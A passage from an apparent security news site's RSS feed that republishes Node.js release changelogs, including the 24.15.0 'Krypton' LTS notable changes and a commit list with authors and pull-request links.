<li>[<a href="https://github.com/nodejs/node/commit/0e4af848bc"><code>0e4af848bc</code></a>] - <strong>src</strong>: convert context_frame field in AsyncWrap to internal field (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62103" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62103/hovercard">#62103</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02980b8c8f"><code>02980b8c8f</code></a>] - <strong>src</strong>: enable compilation/linking with OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62410" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62410/hovercard">#62410</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/064f7c2fa6"><code>064f7c2fa6</code></a>] - <strong>src</strong>: use stack allocation in indexOf latin1 path (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/62268" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62268/hovercard">#62268</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ede52bc2dc"><code>ede52bc2dc</code></a>] - <strong>src,sqlite</strong>: fix filterFunc dangling reference (Edy Silva) <a href="https://github.com/nodejs/node/pull/62281" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62281/hovercard">#62281</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1f0d2a014"><code>e1f0d2a014</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: add stream/iter Implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/03839fb087"><code>03839fb087</code></a>] - <strong>stream</strong>: preserve error over AbortError in pipeline (Marco) <a href="https://github.com/nodejs/node/pull/62113" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62113/hovercard">#62113</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0000d2f011"><code>0000d2f011</code></a>] - <strong>stream</strong>: replace bind with arrow function for onwrite callback (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62087/hovercard">#62087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3796a73719"><code>3796a73719</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 2cb332d710 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62483" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62483/hovercard">#62483</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ad8309415b"><code>ad8309415b</code></a>] - <strong>test</strong>: update WPT for url to fc3e651593 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62379" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62379/hovercard">#62379</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bed89b037e"><code>bed89b037e</code></a>] - <strong>test</strong>: wait for reattach before initial break on restart (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62471" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62471/hovercard">#62471</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9ffffcc55"><code>c9ffffcc55</code></a>] - <strong>test</strong>: disable flaky WPT Blob test on AIX (James M Snell) <a href="https://github.com/nodejs/node/pull/62470" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62470/hovercard">#62470</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd41ef31f6"><code>fd41ef31f6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test</strong>: add tests for experimental stream/iter implementation (James M Snell) <a href="https://github.com/nodejs/node/pull/62066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62066/hovercard">#62066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1b9d8d3eec"><code>1b9d8d3eec</code></a>] - <strong>test</strong>: avoid flaky run wait in debugger restart test (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62112" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62112/hovercard">#62112</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb08a29d51"><code>cb08a29d51</code></a>] - <strong>test</strong>: skip test-cluster-dgram-reuse on AIX 7.3 (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/62238" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62238/hovercard">#62238</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/abea0af8a9"><code>abea0af8a9</code></a>] - <strong>test</strong>: add WebCrypto Promise.prototype.then pollution regression tests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62226" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62226/hovercard">#62226</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/47a2132269"><code>47a2132269</code></a>] - <strong>test</strong>: update WPT for WebCryptoAPI to 6a1c545d77 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62187" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62187/hovercard">#62187</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c63d3006c"><code>2c63d3006c</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44ac0e1302"><code>44ac0e1302</code></a>] - <strong>test_runner</strong>: make it compatible with fake timers (Matteo Collina) <a href="https://github.com/nodejs/node/pull/59272" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59272/hovercard">#59272</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1865691275"><code>1865691275</code></a>] - <strong>test_runner</strong>: set non-zero exit code when suite errors occur (Edy Silva) <a href="https://github.com/nodejs/node/pull/62282" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62282/hovercard">#62282</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0252b2bab8"><code>0252b2bab8</code></a>] - <strong>tools</strong>: bump picomatch from 4.0.3 to 4.0.4 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62439" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62439/hovercard">#62439</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3368155267"><code>3368155267</code></a>] - <strong>tools</strong>: bump yaml from 2.8.2 to 2.8.3 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62437" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62437/hovercard">#62437</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e47c359f5"><code>5e47c359f5</code></a>] - <strong>tools</strong>: adopt the <code>--check-for-duplicates</code> NCU flag (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62478/hovercard">#62478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a604e82d0"><code>4a604e82d0</code></a>] - <strong>tools</strong>: bump picomatch in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62438" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62438/hovercard">#62438</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1a98b4ddb"><code>d1a98b4ddb</code></a>] - <strong>tools</strong>: bump flatted from 3.4.1 to 3.4.2 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62375" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62375/hovercard">#62375</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c32daa1ab4"><code>c32daa1ab4</code></a>] - <strong>tools</strong>: bump eslint deps (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62356" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62356/hovercard">#62356</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a2fcc6d41"><code>7a2fcc6d41</code></a>] - <strong>tools</strong>: do not swallow error in <code>lint-nix</code> workflow (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62292" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62292/hovercard">#62292</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c41a2871b5"><code>c41a2871b5</code></a>] - <strong>tools</strong>: add eslint-plugin-regexp (Huáng Jùnliàng) <a href="https://github.com/nodejs/node/pull/62093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62093/hovercard">#62093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56dfeb06df"><code>56dfeb06df</code></a>] - <strong>tools</strong>: fix timeout errors in <code>lint-nix</code> job (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62265" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62265/hovercard">#62265</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/22fc8078e8"><code>22fc8078e8</code></a>] - <strong>tools</strong>: bump flatted from 3.3.3 to 3.4.1 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62255/hovercard">#62255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/409b0663bd"><code>409b0663bd</code></a>] - <strong>tools</strong>: bump undici from 6.23.0 to 6.24.1 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62250" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62250/hovercard">#62250</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/67c69750f4"><code>67c69750f4</code></a>] - <strong>tools</strong>: validate all commits that are pushed to <code>main</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62246" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62246/hovercard">#62246</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d9db8cd21"><code>7d9db8cd21</code></a>] - <strong>tools</strong>: keep GN files when updating Merve (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62167" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62167/hovercard">#62167</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c8fa42ba2"><code>6c8fa42ba2</code></a>] - <strong>typings</strong>: rationalise TypedArray types (René) <a href="https://github.com/nodejs/node/pull/62174" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62174/hovercard">#62174</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/531c64d04e"><code>531c64d04e</code></a>] - <strong>url</strong>: enable simdutf for ada (Yagiz Nizipli) <a href="https://github.com/nodejs/node/pull/61477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61477/hovercard">#61477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2000caccde"><code>2000caccde</code></a>] - <strong>util</strong>: allow color aliases in styleText (sangwook) <a href="https://github.com/nodejs/node/pull/62180" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62180/hovercard">#62180</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0aed332ab4"><code>0aed332ab4</code></a>] - <strong>wasm</strong>: support js string constant esm import (Guy Bedford) <a href="https://github.com/nodejs/node/pull/62198" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62198/hovercard">#62198</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3fd4a978b"><code>d3fd4a978b</code></a>] - <strong>worker</strong>: heap profile optimizations (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/62201" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62201/hovercard">#62201</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e992a34a18"><code>e992a34a18</code></a>] - <strong>zlib</strong>: fix use-after-free when reset() is called during write (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62325" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62325/hovercard">#62325</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-04-15, Version 24.15.0 'Krypton' (LTS), @aduh95]]></title>
<description><![CDATA[Notable Changes

[3d87ecacbc] - (SEMVER-MINOR) cli: add --max-heap-size option (tannal) #58708
[83c38672f7] - cli: add --require-module/--no-require-module (Joyee Cheung) #60959
[54ef940e01] - (SEMVER-MINOR) crypto: add raw key formats support to the KeyObject APIs (Filip Skokan) #62240
[f4a3edc4...]]></description>
<link>https://tsecurity.de/de/3487681/downloads/2026-04-15-version-24150-krypton-lts-aduh95/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487681/downloads/2026-04-15-version-24150-krypton-lts-aduh95/</guid>
<pubDate>Tue, 05 May 2026 02:02:29 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/3d87ecacbc"><code>3d87ecacbc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83c38672f7"><code>83c38672f7</code></a>] - <strong>cli</strong>: add --require-module/--no-require-module (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54ef940e01"><code>54ef940e01</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4a3edc47a"><code>f4a3edc47a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>throwIfNoEntry</code> option for fs.stat and fs.promises.stat (Juan José) <a href="https://github.com/nodejs/node/pull/61178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61178/hovercard">#61178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5cdcba17cc"><code>5cdcba17cc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http2</strong>: add http1Options for HTTP/1 fallback configuration (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61713/hovercard">#61713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b6be3fe14"><code>8b6be3fe14</code></a>] - <strong>module</strong>: mark require(esm) as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68fbc0c6cc"><code>68fbc0c6cc</code></a>] - <strong>module</strong>: mark module compile cache as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60971" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60971/hovercard">#60971</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c851e76f8c"><code>c851e76f8c</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>net</strong>: add <code>setTOS</code> and <code>getTOS</code> to <code>Socket</code> (Amol Yadav) <a href="https://github.com/nodejs/node/pull/61503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61503/hovercard">#61503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6ac4304c87"><code>6ac4304c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>sqlite</strong>: add limits property to DatabaseSync (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61298" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61298/hovercard">#61298</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/aaf9af1672"><code>aaf9af1672</code></a>] - <strong>sqlite</strong>: mark as release candidate (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61262" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61262/hovercard">#61262</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eb77a7a297"><code>eb77a7a297</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: add C++ support for diagnostics channels (RafaelGSS) <a href="https://github.com/nodejs/node/pull/61869" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61869/hovercard">#61869</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6834ca13bb"><code>6834ca13bb</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: rename <code>Duplex.toWeb()</code> type option to <code>readableType</code> (René) <a href="https://github.com/nodejs/node/pull/61632" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61632/hovercard">#61632</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f5f21d36a6"><code>f5f21d36a6</code></a>] - <strong>test_runner</strong>: add exports option for module mocks (sangwook) <a href="https://github.com/nodejs/node/pull/61727" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61727/hovercard">#61727</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1f2025fd1e"><code>1f2025fd1e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: expose worker ID for concurrent test execution (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61394" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61394/hovercard">#61394</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1ca20fc33d"><code>1ca20fc33d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: show interrupted test on SIGINT (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61676" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61676/hovercard">#61676</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/148373cea1"><code>148373cea1</code></a>] - <strong>assert,util</strong>: improve comparison performance (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61176" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61176/hovercard">#61176</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e5558b0859"><code>e5558b0859</code></a>] - <strong>assert,util</strong>: fix deep comparing invalid dates skipping properties (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61076/hovercard">#61076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83cffd92b5"><code>83cffd92b5</code></a>] - <strong>async_hooks</strong>: enabledHooksExist shall return if hooks are enabled (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61054/hovercard">#61054</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2c9436b43d"><code>2c9436b43d</code></a>] - <strong>benchmark</strong>: fix destructuring in dgram/single-buffer (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62084/hovercard">#62084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/837acd7382"><code>837acd7382</code></a>] - <strong>benchmark</strong>: add startup benchmark for ESM entrypoint (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61769" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61769/hovercard">#61769</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6ced7d272"><code>a6ced7d272</code></a>] - <strong>buffer</strong>: improve performance of multiple Buffer operations (Ali Hassan) <a href="https://github.com/nodejs/node/pull/61871" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61871/hovercard">#61871</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a82003bf8b"><code>a82003bf8b</code></a>] - <strong>buffer</strong>: optimize buffer.concat performance (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/61721" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61721/hovercard">#61721</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83dfd0be1d"><code>83dfd0be1d</code></a>] - <strong>buffer</strong>: disallow ArrayBuffer transfer on pooled buffer (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61372" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61372/hovercard">#61372</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ed2d0cb1bf"><code>ed2d0cb1bf</code></a>] - <strong>build</strong>: support empty libname flags in <code>configure.py</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62477" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62477/hovercard">#62477</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09f7920267"><code>09f7920267</code></a>] - <strong>build</strong>: fix timezone-update path references (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62280" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62280/hovercard">#62280</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/af46b15b91"><code>af46b15b91</code></a>] - <strong>build</strong>: use path-ignore in GHA coverage-windows.yml (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61811" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61811/hovercard">#61811</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2cf77eadd1"><code>2cf77eadd1</code></a>] - <strong>build</strong>: generate_config_gypi.py generates valid JSON (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61791" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61791/hovercard">#61791</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e0220f0c35"><code>e0220f0c35</code></a>] - <strong>build</strong>: build with v8 gdbjit support on supported platform (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61010" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61010/hovercard">#61010</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5505511dcb"><code>5505511dcb</code></a>] - <strong>build</strong>: enable -DV8_ENABLE_CHECKS flag (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61327" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61327/hovercard">#61327</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f8ecf3940"><code>5f8ecf3940</code></a>] - <strong>build</strong>: add --debug-symbols to build with -g without enabling DCHECKs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61100" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61100/hovercard">#61100</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab18c0867b"><code>ab18c0867b</code></a>] - <strong>build</strong>: fix --node-builtin-modules-path (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62115/hovercard">#62115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bfa60d5782"><code>bfa60d5782</code></a>] - <strong>build</strong>: fix GN for new merve dep (Shelley Vohr) <a href="https://github.com/nodejs/node/pull/61984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61984/hovercard">#61984</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d1975fe3a"><code>0d1975fe3a</code></a>] - <strong>build,win</strong>: add WinGet Visual Studio 2022 Build Tools Edition config (Mike McCready) <a href="https://github.com/nodejs/node/pull/61652" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61652/hovercard">#61652</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/10b2bb5fa6"><code>10b2bb5fa6</code></a>] - <strong>child_process</strong>: add tracing channel for spawn (Marco) <a href="https://github.com/nodejs/node/pull/61836" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61836/hovercard">#61836</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d87ecacbc"><code>3d87ecacbc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>cli</strong>: add --max-heap-size option (tannal) <a href="https://github.com/nodejs/node/pull/58708" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58708/hovercard">#58708</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83c38672f7"><code>83c38672f7</code></a>] - <strong>cli</strong>: add --require-module/--no-require-module (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60959" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60959/hovercard">#60959</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9d37233824"><code>9d37233824</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.121 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62485" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62485/hovercard">#62485</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b0cbfe38a4"><code>b0cbfe38a4</code></a>] - <strong>crypto</strong>: add crypto::GetSSLCtx API for addon access to OpenSSL contexts (Tim Perry) <a href="https://github.com/nodejs/node/pull/62254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62254/hovercard">#62254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc034a4ac9"><code>dc034a4ac9</code></a>] - <strong>crypto</strong>: reject ML-KEM/ML-DSA PKCS#8 import without seed in SubtleCrypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62218/hovercard">#62218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8aa6e706df"><code>8aa6e706df</code></a>] - <strong>crypto</strong>: refactor WebCrypto AEAD algorithms auth tag handling (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62169/hovercard">#62169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/20cb932bcf"><code>20cb932bcf</code></a>] - <strong>crypto</strong>: read algorithm name property only once in normalizeAlgorithm (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62170" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62170/hovercard">#62170</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e2934162b4"><code>e2934162b4</code></a>] - <strong>crypto</strong>: add missing AES dictionaries (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b8db52f65"><code>8b8db52f65</code></a>] - <strong>crypto</strong>: fix importKey required argument count check (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62099/hovercard">#62099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bd5458db29"><code>bd5458db29</code></a>] - <strong>crypto</strong>: fix missing nullptr check on RSA_new() (ndossche) <a href="https://github.com/nodejs/node/pull/61888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61888/hovercard">#61888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7302c7ed22"><code>7302c7ed22</code></a>] - <strong>crypto</strong>: fix handling of null BUF_MEM* in ToV8Value() (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61885" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61885/hovercard">#61885</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8d0c22ea20"><code>8d0c22ea20</code></a>] - <strong>crypto</strong>: fix potential null pointer dereference when BIO_meth_new() fails (Nora Dossche) <a href="https://github.com/nodejs/node/pull/61788" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61788/hovercard">#61788</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72aad8b40f"><code>72aad8b40f</code></a>] - <strong>crypto</strong>: always return certificate serial numbers as uppercase (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/61752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61752/hovercard">#61752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2395fc0f4d"><code>2395fc0f4d</code></a>] - <strong>crypto</strong>: rename CShakeParams and KmacParams length to outputLength (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61875/hovercard">#61875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/541be3aaf2"><code>541be3aaf2</code></a>] - <strong>crypto</strong>: recognize raw formats in keygen (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62480" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62480/hovercard">#62480</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/54ef940e01"><code>54ef940e01</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add raw key formats support to the KeyObject APIs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62240" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62240/hovercard">#62240</a></li>
